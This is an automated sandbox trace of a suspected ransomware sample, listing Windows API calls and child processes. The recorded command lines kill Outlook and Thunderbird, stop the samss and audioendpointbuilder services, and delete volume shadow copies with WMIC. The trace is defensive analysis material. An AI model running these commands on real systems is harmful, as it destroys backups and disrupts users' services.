	[0165.942] CreateFileW (lpFileName="C:\\users\\Public\\sys" (normalized: "c:\\users\\public\\sys"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0165.942] GetLastError () returned 0x20
	[0165.942] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0165.942] Sleep (dwMilliseconds=0x61a8) 
	[0176.491] GetWindowsDirectoryW (in: lpBuffer=0x2e1fe70, uSize=0x32 | out: lpBuffer="C:\\Windows") returned 0xa
	[0176.491] SetLastError (dwErrCode=0x0) 
	[0176.491] CreateFileW (lpFileName="C:\\users\\Public\\sys" (normalized: "c:\\users\\public\\sys"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0176.492] GetLastError () returned 0x20
	[0176.492] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0176.492] Sleep (dwMilliseconds=0x61a8) 
	[0186.749] GetWindowsDirectoryW (in: lpBuffer=0x2e1fe70, uSize=0x32 | out: lpBuffer="C:\\Windows") returned 0xa
	[0186.749] SetLastError (dwErrCode=0x0) 
	[0186.749] CreateFileW (lpFileName="C:\\users\\Public\\sys" (normalized: "c:\\users\\public\\sys"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0186.749] GetLastError () returned 0x20
	[0186.749] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0186.749] Sleep (dwMilliseconds=0x61a8) 
	[0197.339] GetWindowsDirectoryW (in: lpBuffer=0x2e1fe70, uSize=0x32 | out: lpBuffer="C:\\Windows") returned 0xa
	[0197.339] SetLastError (dwErrCode=0x0) 
	[0197.339] CreateFileW (lpFileName="C:\\users\\Public\\sys" (normalized: "c:\\users\\public\\sys"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0197.339] GetLastError () returned 0x20
	[0197.339] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0197.340] Sleep (dwMilliseconds=0x61a8) 
	[0207.882] GetWindowsDirectoryW (in: lpBuffer=0x2e1fe70, uSize=0x32 | out: lpBuffer="C:\\Windows") returned 0xa
	[0208.322] SetLastError (dwErrCode=0x0) 
	[0208.322] CreateFileW (lpFileName="C:\\users\\Public\\sys" (normalized: "c:\\users\\public\\sys"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0208.322] GetLastError () returned 0x20
	[0208.322] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0208.323] Sleep (dwMilliseconds=0x61a8) 
	[0219.220] GetWindowsDirectoryW (in: lpBuffer=0x2e1fe70, uSize=0x32 | out: lpBuffer="C:\\Windows") returned 0xa
	[0219.227] SetLastError (dwErrCode=0x0) 
	[0219.228] CreateFileW (lpFileName="C:\\users\\Public\\sys" (normalized: "c:\\users\\public\\sys"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0219.229] GetLastError () returned 0x20
	[0219.229] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0219.229] Sleep (dwMilliseconds=0x61a8) 
	[0232.840] GetWindowsDirectoryW (in: lpBuffer=0x2e1fe70, uSize=0x32 | out: lpBuffer="C:\\Windows") returned 0xa
	[0232.849] SetLastError (dwErrCode=0x0) 
	[0232.849] CreateFileW (lpFileName="C:\\users\\Public\\sys" (normalized: "c:\\users\\public\\sys"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0232.851] GetLastError () returned 0x20
	[0232.851] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0232.851] Sleep (dwMilliseconds=0x61a8) 
	[0243.685] GetWindowsDirectoryW (in: lpBuffer=0x2e1fe70, uSize=0x32 | out: lpBuffer="C:\\Windows") returned 0xa
	[0243.778] SetLastError (dwErrCode=0x0) 
	[0243.778] CreateFileW (lpFileName="C:\\users\\Public\\sys" (normalized: "c:\\users\\public\\sys"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0243.779] GetLastError () returned 0x20
	[0243.779] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0243.779] Sleep (dwMilliseconds=0x61a8) 
	[0256.974] GetWindowsDirectoryW (in: lpBuffer=0x2e1fe70, uSize=0x32 | out: lpBuffer="C:\\Windows") returned 0xa
	[0256.983] SetLastError (dwErrCode=0x0) 
	[0256.983] CreateFileW (lpFileName="C:\\users\\Public\\sys" (normalized: "c:\\users\\public\\sys"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0256.984] GetLastError () returned 0x20
	[0256.984] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0256.984] Sleep (dwMilliseconds=0x61a8) 
	[0268.031] GetWindowsDirectoryW (in: lpBuffer=0x2e1fe70, uSize=0x32 | out: lpBuffer="C:\\Windows") returned 0xa
	[0268.031] SetLastError (dwErrCode=0x0) 
	[0268.031] CreateFileW (lpFileName="C:\\users\\Public\\sys" (normalized: "c:\\users\\public\\sys"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0268.032] GetLastError () returned 0x20
	[0268.032] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0268.032] Sleep (dwMilliseconds=0x61a8) 
	[0278.304] GetWindowsDirectoryW (in: lpBuffer=0x2e1fe70, uSize=0x32 | out: lpBuffer="C:\\Windows") returned 0xa
	[0278.310] SetLastError (dwErrCode=0x0) 
	[0278.310] CreateFileW (lpFileName="C:\\users\\Public\\sys" (normalized: "c:\\users\\public\\sys"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0278.311] GetLastError () returned 0x20
	[0278.311] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0278.311] Sleep (dwMilliseconds=0x61a8) 

Thread:
	id = 29
	os_tid = 0x8e4


Thread:
	id = 150
	os_tid = 0x944


Thread:
	id = 1554
	os_tid = 0x1e30


Process:
	id = "7"
	image_name = "taskkill.exe"
	filename = "c:\\windows\\system32\\taskkill.exe"
	page_root = "0x32148000"
	os_pid = "0x8f4"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "1"
	os_parent_pid = "0xb98"
	cmd_line = "\"C:\\Windows\\System32\\taskkill.exe\" /IM outlook.exe /F"
	cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 30
	os_tid = 0x904


Thread:
	id = 43
	os_tid = 0xa34


Thread:
	id = 83
	os_tid = 0xac4


Thread:
	id = 85
	os_tid = 0xb04


Thread:
	id = 86
	os_tid = 0xb14


Process:
	id = "8"
	image_name = "taskeng.exe"
	filename = "c:\\windows\\system32\\taskeng.exe"
	page_root = "0x7a9ca000"
	os_pid = "0x530"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "injection"
	parent_id = "1"
	os_parent_pid = "0x370"
	cmd_line = "taskeng.exe {DAD14AF5-82A5-4514-AFD0-06330000279A} S-1-5-21-3388679973-3930757225-3770151564-1000:XDUWTFONO\\5p5NrGJn0jS HALPmcxz:Interactive:Highest[1]"
	cur_dir = "C:\\Windows\\system32\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 32
	os_tid = 0x230


Thread:
	id = 33
	os_tid = 0x5b8


Thread:
	id = 34
	os_tid = 0x548


Thread:
	id = 35
	os_tid = 0x53c


Thread:
	id = 36
	os_tid = 0x534


Thread:
	id = 38
	os_tid = 0x974

	[0106.763] GetVersionExW (in: lpVersionInformation=0x208fc20*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x208fc20*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1
	[0106.950] GetWindowsDirectoryW (in: lpBuffer=0x208fcd0, uSize=0x32 | out: lpBuffer="C:\\Windows") returned 0xa
	[0106.958] SetLastError (dwErrCode=0x0) 
	[0106.959] CreateFileW (lpFileName="C:\\users\\Public\\sys" (normalized: "c:\\users\\public\\sys"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0106.960] GetLastError () returned 0x20
	[0106.960] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0106.961] Sleep (dwMilliseconds=0x1388) 
	[0113.495] Sleep (dwMilliseconds=0x61a8) 
	[0125.139] GetWindowsDirectoryW (in: lpBuffer=0x208fcd0, uSize=0x32 | out: lpBuffer="C:\\Windows") returned 0xa
	[0125.147] SetLastError (dwErrCode=0x0) 
	[0125.147] CreateFileW (lpFileName="C:\\users\\Public\\sys" (normalized: "c:\\users\\public\\sys"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0125.147] GetLastError () returned 0x20
	[0125.147] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0125.148] Sleep (dwMilliseconds=0x61a8) 
	[0135.857] GetWindowsDirectoryW (in: lpBuffer=0x208fcd0, uSize=0x32 | out: lpBuffer="C:\\Windows") returned 0xa
	[0135.858] SetLastError (dwErrCode=0x0) 
	[0135.858] CreateFileW (lpFileName="C:\\users\\Public\\sys" (normalized: "c:\\users\\public\\sys"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0155.445] GetLastError () returned 0x20
	[0155.445] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0155.445] Sleep (dwMilliseconds=0x61a8) 
	[0165.765] GetWindowsDirectoryW (in: lpBuffer=0x208fcd0, uSize=0x32 | out: lpBuffer="C:\\Windows") returned 0xa
	[0165.765] SetLastError (dwErrCode=0x0) 
	[0165.765] CreateFileW (lpFileName="C:\\users\\Public\\sys" (normalized: "c:\\users\\public\\sys"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0165.766] GetLastError () returned 0x20
	[0165.766] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0165.767] Sleep (dwMilliseconds=0x61a8) 
	[0176.436] GetWindowsDirectoryW (in: lpBuffer=0x208fcd0, uSize=0x32 | out: lpBuffer="C:\\Windows") returned 0xa
	[0176.436] SetLastError (dwErrCode=0x0) 
	[0176.436] CreateFileW (lpFileName="C:\\users\\Public\\sys" (normalized: "c:\\users\\public\\sys"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0176.436] GetLastError () returned 0x20
	[0176.436] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0176.437] Sleep (dwMilliseconds=0x61a8) 
	[0186.707] GetWindowsDirectoryW (in: lpBuffer=0x208fcd0, uSize=0x32 | out: lpBuffer="C:\\Windows") returned 0xa
	[0186.707] SetLastError (dwErrCode=0x0) 
	[0186.707] CreateFileW (lpFileName="C:\\users\\Public\\sys" (normalized: "c:\\users\\public\\sys"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0186.707] GetLastError () returned 0x20
	[0186.707] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0186.707] Sleep (dwMilliseconds=0x61a8) 
	[0197.309] GetWindowsDirectoryW (in: lpBuffer=0x208fcd0, uSize=0x32 | out: lpBuffer="C:\\Windows") returned 0xa
	[0197.309] SetLastError (dwErrCode=0x0) 
	[0197.309] CreateFileW (lpFileName="C:\\users\\Public\\sys" (normalized: "c:\\users\\public\\sys"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0197.309] GetLastError () returned 0x20
	[0197.309] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0197.310] Sleep (dwMilliseconds=0x61a8) 
	[0207.754] GetWindowsDirectoryW (in: lpBuffer=0x208fcd0, uSize=0x32 | out: lpBuffer="C:\\Windows") returned 0xa
	[0207.762] SetLastError (dwErrCode=0x0) 
	[0207.762] CreateFileW (lpFileName="C:\\users\\Public\\sys" (normalized: "c:\\users\\public\\sys"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0207.762] GetLastError () returned 0x20
	[0207.762] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0207.763] Sleep (dwMilliseconds=0x61a8) 

Thread:
	id = 1818
	os_tid = 0x225c


Process:
	id = "9"
	image_name = "taskkill.exe"
	filename = "c:\\windows\\system32\\taskkill.exe"
	page_root = "0x31c6d000"
	os_pid = "0x954"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "1"
	os_parent_pid = "0xb98"
	cmd_line = "\"C:\\Windows\\System32\\taskkill.exe\" /IM thunderbird.exe /F"
	cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 37
	os_tid = 0x964


Thread:
	id = 42
	os_tid = 0xa24


Thread:
	id = 44
	os_tid = 0xa44


Thread:
	id = 81
	os_tid = 0xaa4


Thread:
	id = 82
	os_tid = 0xab4


Process:
	id = "10"
	image_name = "net.exe"
	filename = "c:\\windows\\system32\\net.exe"
	page_root = "0x314a1000"
	os_pid = "0xa84"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "1"
	os_parent_pid = "0xb98"
	cmd_line = "\"C:\\Windows\\System32\\net.exe\" stop \"audioendpointbuilder\" /y"
	cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 47
	os_tid = 0xa94


Process:
	id = "11"
	image_name = "svchost.exe"
	filename = "c:\\windows\\system32\\svchost.exe"
	page_root = "0x8f04000"
	os_pid = "0x370"
	os_integrity_level = "0x4000"
	os_privileges = "0xe60b1e890"
	monitor_reason = "rpc_server"
	parent_id = "5"
	os_parent_pid = "0x1d8"
	cmd_line = "C:\\Windows\\system32\\svchost.exe -k netsvcs"
	cur_dir = "C:\\Windows\\system32\\"
	os_username = "NT AUTHORITY\\SYSTEM"
	bitness = "32"
	os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xa], "NT SERVICE\\BITS" [0xa], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\hkmsvc" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xa], "NT SERVICE\\LanmanServer" [0xa], "NT SERVICE\\MMCSS" [0xe], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xa], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xa], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xa], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xa], "NT SERVICE\\wuauserv" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000cc7d" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe]


Thread:
	id = 48
	os_tid = 0x664


Thread:
	id = 49
	os_tid = 0x514


Thread:
	id = 50
	os_tid = 0x318


Thread:
	id = 51
	os_tid = 0x638


Thread:
	id = 52
	os_tid = 0x25c


Thread:
	id = 53
	os_tid = 0x794


Thread:
	id = 54
	os_tid = 0x7a4


Thread:
	id = 55
	os_tid = 0x6d0


Thread:
	id = 56
	os_tid = 0x630


Thread:
	id = 57
	os_tid = 0x344


Thread:
	id = 58
	os_tid = 0x7e8


Thread:
	id = 59
	os_tid = 0x11c


Thread:
	id = 60
	os_tid = 0x41c


Thread:
	id = 61
	os_tid = 0x618


Thread:
	id = 62
	os_tid = 0x5fc


Thread:
	id = 63
	os_tid = 0x5f4


Thread:
	id = 64
	os_tid = 0x5d0


Thread:
	id = 65
	os_tid = 0x5c4


Thread:
	id = 66
	os_tid = 0x5c0


Thread:
	id = 67
	os_tid = 0x59c


Thread:
	id = 68
	os_tid = 0x480


Thread:
	id = 69
	os_tid = 0x45c


Thread:
	id = 70
	os_tid = 0x43c


Thread:
	id = 71
	os_tid = 0x414


Thread:
	id = 72
	os_tid = 0x410


Thread:
	id = 73
	os_tid = 0xf0


Thread:
	id = 74
	os_tid = 0xc8


Thread:
	id = 75
	os_tid = 0x3f4


Thread:
	id = 76
	os_tid = 0x3e8


Thread:
	id = 77
	os_tid = 0x39c


Thread:
	id = 78
	os_tid = 0x390


Thread:
	id = 79
	os_tid = 0x37c


Thread:
	id = 80
	os_tid = 0x374


Thread:
	id = 87
	os_tid = 0xb24


Thread:
	id = 89
	os_tid = 0xb54


Thread:
	id = 90
	os_tid = 0xb88


Thread:
	id = 91
	os_tid = 0x808


Thread:
	id = 92
	os_tid = 0x4f4


Thread:
	id = 93
	os_tid = 0x35c


Thread:
	id = 94
	os_tid = 0x454


Thread:
	id = 95
	os_tid = 0x69c


Thread:
	id = 97
	os_tid = 0x2ac


Thread:
	id = 102
	os_tid = 0x9d8


Thread:
	id = 175
	os_tid = 0x3a8


Thread:
	id = 313
	os_tid = 0xdbc


Thread:
	id = 316
	os_tid = 0xdc8


Thread:
	id = 317
	os_tid = 0xdcc


Thread:
	id = 318
	os_tid = 0xdd0


Thread:
	id = 319
	os_tid = 0xdd4


Thread:
	id = 1998
	os_tid = 0x24fc


Thread:
	id = 2013
	os_tid = 0x253c


Thread:
	id = 2034
	os_tid = 0x259c


Thread:
	id = 2035
	os_tid = 0x25a0


Thread:
	id = 2036
	os_tid = 0x25a4


Thread:
	id = 2037
	os_tid = 0x25a8


Thread:
	id = 2791
	os_tid = 0x30d4


Process:
	id = "12"
	image_name = "net.exe"
	filename = "c:\\windows\\system32\\net.exe"
	page_root = "0x31cc2000"
	os_pid = "0xb34"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "1"
	os_parent_pid = "0xb98"
	cmd_line = "\"C:\\Windows\\System32\\net.exe\" stop \"samss\" /y"
	cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 88
	os_tid = 0xb44


Process:
	id = "13"
	image_name = "cmd.exe"
	filename = "c:\\windows\\system32\\cmd.exe"
	page_root = "0x30b8c000"
	os_pid = "0xb28"
	os_integrity_level = "0x2000"
	os_privileges = "0x800000"
	monitor_reason = "child_process"
	parent_id = "4"
	os_parent_pid = "0x434"
	cmd_line = "cmd /c \"WMIC.exe shadowcopy delete\""
	cur_dir = "C:\\Windows\\system32\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 96
	os_tid = 0xb9c

	[0119.466] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24fe10 | out: lpSystemTimeAsFileTime=0x24fe10*(dwLowDateTime=0x19070550, dwHighDateTime=0x1d5cdef)) 
	[0119.466] GetCurrentProcessId () returned 0xb28
	[0119.466] GetCurrentThreadId () returned 0xb9c
	[0119.466] GetTickCount () returned 0x116499e
	[0119.466] QueryPerformanceCounter (in: lpPerformanceCount=0x24fe18 | out: lpPerformanceCount=0x24fe18*=26121943246) returned 1
	[0119.467] GetModuleHandleW (lpModuleName=0x0) returned 0x4a450000
	[0119.467] __set_app_type (_Type=0x1) 
	[0119.468] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4a477810) returned 0x0
	[0119.468] __getmainargs (in: _Argc=0x4a49a608, _Argv=0x4a49a618, _Env=0x4a49a610, _DoWildCard=0, _StartInfo=0x4a47e0f4 | out: _Argc=0x4a49a608, _Argv=0x4a49a618, _Env=0x4a49a610) returned 0
	[0119.469] GetCurrentThreadId () returned 0xb9c
	[0119.469] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xb9c) returned 0x3c
	[0119.918] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76f20000
	[0119.918] GetProcAddress (hModule=0x76f20000, lpProcName="SetThreadUILanguage") returned 0x76f36d40
	[0119.918] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409
	[0119.919] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1
	[0119.919] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x24fda8 | out: phkResult=0x24fda8*=0x0) returned 0x2
	[0119.920] VirtualQuery (in: lpAddress=0x24fd90, lpBuffer=0x24fd10, dwLength=0x30 | out: lpBuffer=0x24fd10*(BaseAddress=0x24f000, AllocationBase=0x150000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0119.920] VirtualQuery (in: lpAddress=0x150000, lpBuffer=0x24fd10, dwLength=0x30 | out: lpBuffer=0x24fd10*(BaseAddress=0x150000, AllocationBase=0x150000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0119.920] VirtualQuery (in: lpAddress=0x151000, lpBuffer=0x24fd10, dwLength=0x30 | out: lpBuffer=0x24fd10*(BaseAddress=0x151000, AllocationBase=0x150000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0119.920] VirtualQuery (in: lpAddress=0x154000, lpBuffer=0x24fd10, dwLength=0x30 | out: lpBuffer=0x24fd10*(BaseAddress=0x154000, AllocationBase=0x150000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0119.920] VirtualQuery (in: lpAddress=0x250000, lpBuffer=0x24fd10, dwLength=0x30 | out: lpBuffer=0x24fd10*(BaseAddress=0x250000, AllocationBase=0x250000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0xe000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0119.920] GetConsoleOutputCP () returned 0x1b5
	[0119.920] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a48bfe0 | out: lpCPInfo=0x4a48bfe0) returned 1
	[0119.921] SetConsoleCtrlHandler (HandlerRoutine=0x4a473184, Add=1) returned 1
	[0119.922] _get_osfhandle (_FileHandle=1) returned 0x7
	[0119.922] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x0) returned 1
	[0119.923] _get_osfhandle (_FileHandle=1) returned 0x7
	[0119.923] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a47e194 | out: lpMode=0x4a47e194) returned 1
	[0119.924] _get_osfhandle (_FileHandle=1) returned 0x7
	[0119.924] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1
	[0119.924] _get_osfhandle (_FileHandle=0) returned 0x3
	[0119.925] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a47e198 | out: lpMode=0x4a47e198) returned 1
	[0119.925] _get_osfhandle (_FileHandle=0) returned 0x3
	[0119.925] SetConsoleMode (hConsoleHandle=0x3, dwMode=0x1a7) returned 1
	[0119.926] GetEnvironmentStringsW () returned 0x3f8a30*
	[0119.927] GetProcessHeap () returned 0x3e0000
	[0119.927] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0xa7c) returned 0x3f94c0
	[0119.927] FreeEnvironmentStringsW (penv=0x3f8a30) returned 1
	[0119.927] GetProcessHeap () returned 0x3e0000
	[0119.927] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x8) returned 0x3f88b0
	[0119.927] GetEnvironmentStringsW () returned 0x3f8a30*
	[0119.927] GetProcessHeap () returned 0x3e0000
